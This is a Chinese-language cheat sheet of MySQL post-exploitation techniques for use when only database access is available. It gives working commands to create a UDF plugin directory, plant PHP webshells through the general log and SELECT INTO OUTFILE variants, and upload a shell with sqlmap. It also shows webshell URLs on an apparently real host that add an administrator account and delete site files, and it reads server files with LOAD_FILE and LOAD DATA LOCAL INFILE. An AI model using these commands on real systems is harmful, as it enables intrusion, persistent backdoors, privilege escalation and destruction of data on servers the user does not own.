如果沒有shell,只有數據庫權限的情況下:
1.? udf 提權提示沒有目錄:使用數據流創建目錄
1. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';2. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';
2.? 日志寫shell
show variables like '%general%'; ?查看日志狀態
SET GLOBAL general_log='on' ? ? 開啟日志讀寫
SET GLOBAL general_log_file='C:/phpStudy/WWW/x.php'; ?指定需要寫入日志路徑
SELECT '<?php eval($_POST["cmd"]);?>' ?寫日志進x.php
3.? mysql直接寫shell
1. select '<?php ?phpinfo();?>' ?into outfile 'D:/UPUPW_AP7.2_64/htdocs/infoshell.php'2. select "<?if($_GET['cmd']) { ?system($_GET['cmd']); ?}?>" ?into outfile 'D:/UPUPW_AP7.2_64/htdocs/info2.php'lines terminated by 寫入:
select into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解為 以每行終止的位置添加 xx 內容。lines starting by 寫入:
select into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置添加 xx 內容。fields terminated by 寫入:
select into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個字段的位置添加 xx 內容。columns terminated by 寫入:
select into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個字段的位置添加 xx 內容。sqlmap寫入:
寫:(要寫的文件,必須在kali本機里有)寫入到 /tmp 目錄下 sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=af999 --file-write="shell.php" --file-dest="/tmp/shell.php"
https://sys.baidu.com/info2.php?cmd=net+user+jiance+jiance@123+/addhttps://sys.baidu.com/info2.php?cmd=net+localgroup+administrators+jiance+/addhttps://sysbaidu.com/info2.php?cmd=del+D:\UPUPW_AP7.2_64\htdocs\*.php
4.? mysql讀文件
1. SELECT LOAD_FILE('D:\UPUPW_AP7.2_64\Apache2\conf\httpd-vhosts.conf');
mysql低權限讀文件:1. CREATE TABLE `bbs` (`bbs1` TEXT NOT NULL );? # 創建表:
2. load data local infile '//home//opendb.php' into table `bbs`; #越權限讀文件 ?
3. LOAD DATA LOCAL INFILE '/home/opendb.php' into table bbs fields terminated by '' LINES TERMINATED BY '\0'; # 我讀出來是這樣的 <? ? ? ?> ?讀別的也是 include的部分就沒讀取了懷疑是轉義了